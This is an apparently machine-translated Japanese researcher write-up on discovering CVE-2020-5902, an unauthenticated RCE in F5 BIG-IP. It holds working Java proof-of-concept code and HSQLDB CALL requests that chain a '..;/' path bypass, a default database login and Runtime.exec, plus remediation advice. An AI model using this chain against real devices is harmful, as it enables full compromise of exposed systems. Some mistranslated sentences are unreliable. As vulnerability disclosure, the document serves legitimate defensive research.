内訳:F5 Big-IP Application DeliveryControllerでRCEの脆弱性をどのように見つけたか





F5のBIG-IPは、世界最大の企業で使用されている人気のあるアプリケーション配信コントローラーです。この製品のセキュリティ分析中に、危険な脆弱性CVE-2020-5902を見つけることができましたこのセキュリティ上の欠陥により、攻撃者は許可されていないユーザーに代わってコマンドを実行し、コントローラーによって制御されるWebリソースのトラフィックを傍受するなど、システムを完全に侵害することができます。



私たちのデータによると、2020年6月に、CVE-2020-5902の脆弱性を含む8000台のデバイスにインターネットからアクセスすることが可能でした。その詳細な分析は私たちの新しい記事にあります。



何が問題ですか



F5のBIG-IPは、世界最大の企業で使用されている人気のあるアプリケーション配信コントローラーです。脆弱性CVE-2020-5902は、最高の重大度レベルであるCVSSスケールで10と評価されました。



この脆弱性により、BIG-IP構成ユーティリティにアクセスできる認証されていない攻撃者を含むリモートの攻撃者がソフトウェアで任意のコードを実行する可能性があります(リモートコード実行、RCE)。その結果、攻撃者は、ファイルの作成または削除、サービスの無効化、情報の傍受、任意のシステムコマンドと任意のJavaコードの実行、システムの完全な侵害、およびたとえば内部ネットワークセグメントへの攻撃を行うことができます。



複数のシステムコンポーネント(ディレクトリの範囲外など)のセキュリティ上の欠陥が組み合わさると、RCEが発生します。F5 BIG-IP WebインターフェースがShodanなどの特殊な検索エンジンで見つかる企業は特にリスクがありますが、すべてのユーザー企業がグローバルネットワークから必要なインターフェースにアクセスできるわけではないことに注意してください。



実際の脅威の監視中(脅威インテリジェンス)、2020年6月末現在、インターネットから利用できる脆弱なデバイスは世界中に8000を超えており、そのうち40%が米国、16%が中国、3%が台湾、それぞれ2.5%であることがわかりました。カナダとインドネシアで。ロシアでは、脆弱なデバイスの1%未満が検出されました。



それでは、どうやってCVE-2020-5902を見つけたのかという話に移りましょう。



Webサーバー構成エラーを探しています



F5 Big-IPを仮想マシンにインストールして、そのコマンドシェルにアクセスしてみましょう







。F5Big-IPコマンドラインインターフェイス



調査を開始するために最初に行うことは、開いているすべてのポートとそれらを使用しているアプリケーションを確認することです。これにより、システムへのすべての可能なエントリポイントが識別されます。これを行うには、netstatコマンドを使用し







ます



。Webアプリケーションを分析したいデバイスで開いているポートを見つけるので、ポート443 / tcpでリッスンしているhttpdサーバーの構成の分析を開始しましょう。



その構成から最も興味深いファイルは「/etc/httpd/conf.d/proxy_ajp.conf」です。



LoadModule proxy_ajp_module modules/mod_proxy_ajp.so

#
# When loaded, the mod_proxy_ajp module adds support for
# proxying to an AJP/1.3 backend server (such as Tomcat).
# To proxy to an AJP backend, use the "ajp://" URI scheme;
# Tomcat is configured to listen on port 8009 for AJP requests
# by default.
#

#
# Uncomment the following lines to serve the ROOT webapp
# under the /tomcat/ location, and the jsp-examples webapp
# under the /examples/ location.
#
#ProxyPass /tomcat/ ajp://localhost:8009/
#ProxyPass /examples/ ajp://localhost:8009/jsp-examples/

ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5

<IfDefine LunaUI>
ProxyPassMatch ^/lunaui/(.*\.jsf.*)$ ajp://localhost:8009/lunaui/$1
ProxyPassMatch ^/lunaui/primefaces_resource/(.*)$ ajp://localhost:8009/lunaui/primefaces_resource/$1
ProxyPassMatch ^/lunaui/em_resource/(.*)$ ajp://localhost:8009/lunaui/em_resource/$1
</IfDefine>

<IfDefine WebAccelerator>
ProxyPassMatch ^/waui/(.*)$ ajp://localhost:8009/waui/$1 retry=5
</IfDefine>


ファイルの内容/etc/httpd/conf.d/proxy_ajp.conf



このファイルは、AJPプロトコルを介してローカルポート8009 / tcpのApacheTomcatに要求を転送するようにApacheを構成しますが、これらの要求が1つと一致する場合に限ります。与えられた規則的な表現から。







ポート8009 / tcpでリッスンしているアプリケーションの検索



ここでは、チェーンサーバーでURLを異なる方法で処理する方法に関するOrangeTsaiの調査を参照することが重要です。特に、Apache HTTPServerとApacheTomcatのバンドルでは、文字のシーケンス「..; /」をテストできます:







OrangeTsaiプレゼンテーションスライド



この調査によると、Apache HTTP Serverはシーケンスを有効なフォルダー名として解析しますが、Apache Tomcatは、この組み合わせが前のディレクトリへの移行を示していると見なします。



この方法が機能するかどうかを理解するには、構成ファイル内の非表示のTomcatエンドポイントの1つへのパスを取得する必要があります。




<servlet-mapping>
        <servlet-name>org.apache.jsp.tiles.tmui.em_005ffilter_jsp</servlet-name>
        <url-pattern>/tiles/tmui/em_filter.jsp</url-pattern>
 </servlet-mapping>


構成ファイルのフラグメント/usr/local/www/tmui/WEB-INF/web.xml



パス/tiles/tmui/em_filter.jspは、proxy_ajp.confファイルの正規式と一致してはならないため、次の







テストを行います。OrangeTsaiテクニックのテスト



通常の要求は404コードを返し、Orange Tsaiテクニックを使用したリクエストは200コードを返します。したがって、調査中のデバイスの内部ApacheTomcatサーバー上の任意のページにアクセスできるようになりました。



脆弱なTomcatエンドポイントを見つける



Apache Tomcatサーバーの構成を調べて、その中の脆弱なエンドポイントを見つけてみましょう。



以前はパス/tiles/tmui/em_filter.jspを使用しましたが、今度はもっと便利なものを見つけてみましょう。


    <servlet>
        <servlet-name>hsqldb</servlet-name>
        <servlet-class>org.hsqldb.Servlet</servlet-class>
        <load-on-startup>3</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>hsqldb</servlet-name>
        <url-pattern>/hsqldb/*</url-pattern>
    </servlet-mapping>


ファイル/usr/local/www/tmui/WEB-INF/web.xmlのフラグメント



org.hsqldb.Servletクラスによって処理されるパス「/ hsqldb /」に注意が向けられました。頭字語HSQLDBはHyperSQL Databaseの略で、そのパス/ hsqldb /は、データベース自体へのアクセスを提供する役割を果たします。



このパスにアクセスするために私たちの手法を使用できる







どうかを確認しましょう。HSQLDBの可用性の確認



したがって、許可をバイパスしてHSQLDBにアクセスすることができました。 HSQLDBの公式Webサイトには、HTTP経由でデータベースに接続する方法に関するガイドがあり、特別なJavaドライバーを使用してHTTP経由でデータベースに接続できると記載されています。接続するには、データベースのログインとパスワードを知っている必要があります。



「Google検索」と呼ばれる「ゴールデンテクニック」を使用して、HSQLDBのデフォルトのユーザー名とパスワードを見つけましょう







。Googleは検索ページにデフォルトのユーザー名とパスワードを表示します



。次に、Javaで概念の証明を記述して、HSQLDBドライバーの仮定をテストします。次のデフォルトのログインデータを使用できます。



package com.company;

import java.sql.*;
import java.lang.*;

public class Main {
    public static void main(String[] args) throws Exception {
        Class.forName("org.hsqldb.jdbcDriver");
        Connection c = DriverManager.getConnection("jdbc:hsqldb:https://10.0.0.1/tmui/login.jsp/..%3B/hsqldb/", "SA", "");
        Statement stmt = null;
        ResultSet result = null;
        stmt = c.createStatement();
        result = stmt.executeQuery("SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS");
        while (result.next()) {
            System.out.println("Got result: " + result.getString(1));
        }
        result.close();
        stmt.close();
    }
}


HSQLDBに接続してHSQLDBユーザーのリストを要求する







ためのPoCコード指定されたPoCコードを実行した結果



コードが実行され、テーブルから最初のユーザーが削除されました。つまり、F5Bigで認証なしで任意のSQLクエリを実行できるようになりました。 IP。



HSQLDBエンドポイントの調査



私はHSQLDBのドキュメントに少し時間を費やし、CALLステートメントに落ち着きました。これを使用して、HSQLDBクラスパスの静的Javaメソッドを含むストアドプロシージャを実行できます。



HSQLDBからクラスパスを取得しましょう。



リクエスト:CALL "java.lang.System.getProperty"( 'java.class.path')

レスポンス: "/ usr / share / tomcat / bin / bootstrap.jar :/ usr / share / tomcat / bin / tomcat-juli 。 jar:/ usr / local / www / tmui / WEB-INF / classes "


これは、ApacheTomcatサーバーとまったく同じクラスパスです。



次に、リモートコード実行を可能にする静的メソッドを見つける必要があります。com.f5.view.web.pagedefinition.shuffler.Scriptingクラスのtmui.jarファイルを少し検索した後、setRequestContextメソッドを見つけました。



public static void setRequestContext(String object, String screen)
{
     PyObject current = getInterpreter().eval(object + "__" + screen + "()");
     currentObject.set(current);
}


任意のデータを使用してこのメ​​ソッドを呼び出そうとしています。



リクエスト:CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext"( 'aa'、 'bb')

レスポンス: "NameError:aa__bb"、


Pythonコード実行のコンテキストに入り、間違ったデータを渡したことがわかります。



「os」モジュールをインポートして、システム関数を呼び出そうとします。



要求:CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext"( '__ import __( "os")。System()#'、 '#11')

応答: "ImportError:javaosという名前のモジュールはありません"


エラーをグーグルで検索し、これがJython言語の典型的な動作であることを確認します。



別の方法でコマンドを実行しようとします。



リクエスト:CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext"( 'Runtime.getRuntime()。Exec( "ls")#'、 '#')

返信:null




このリクエストからnullが発生しました。これは、コマンドが正常に実行されたことを示しています。それでは、サーバーが脆弱な場合にdnsリクエストを送信する最終的なPoCコードをまとめましょう。



package com.company;

import java.sql.*;
import java.lang.*;

public class Main {
    public static void main(String[] args) throws Exception {
        Class.forName("org.hsqldb.jdbcDriver");
        Connection c = DriverManager.getConnection("jdbc:hsqldb:https://localhost.localdomain/tmui/login.jsp/..%3B/hsqldb/", "SA", "");
        Statement stmt = null;
        ResultSet result = null;
        stmt = c.createStatement();
        result = stmt.executeQuery("CALL \"com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext\"('Runtime.getRuntime().exec(\"nslookup test.dns.samplehost.com\")#','#')");
        while (result.next()) {
            System.out.println("Got result: " + result.getString(1));
        }
        result.close();
        stmt.close();
    }
}


そして、リバースシェルのコマンドを使用して、F5Big-IPでRCEを取得します。







発見された一連の脆弱性を介してF5Big-IPにアクセスします。



概要



許可されていないユーザーから、次の3つの簡単な手順でRCEを取得しました。



  1. ApacheHTTPサーバーとApacheTomcatの構成にバグが見つかりました
  2. HSQLDBのデフォルトパスワードを使用
  3. F5Big-IPライブラリコードで非自明な静的メソッドを使用


身を守る方法



脆弱性を修正するには、システムを最新バージョンに更新する必要があります。脆弱なBIG-IPバージョン(11.6.x、12.1.x、13.1.x、14.1.x、15.0.x、15.1.x)は、脆弱性が修正されたバージョンに置き換える必要があります( BIG-IP 11.6.5.2、12.1.5.2、13.1.3.4、14.1.2.6、15.1.0.4)。パブリッククラウドマーケットプレイス(AWS、Azure、GCP、Alibaba)のユーザーは、BIG-IP Virtual Edition(VE)11.6.5.2、12.1.5.2、13.1.3.4、14.1.2.6、または15.1.0.4)を使用する必要があります。これらの市場。詳細なガイダンスは、F5BIG-IP通知に記載されています。



著者:Mikhail Klyuchnikov(@ __mn1 __)、Positive Technologies



タイムライン:



  • 2020年4月1日-脆弱性情報がF5ネットワークに提出されました
  • 2020年4月3日-チームF5は脆弱性を再現することができました
  • 1 July, 2020 — Security Advisory



All Articles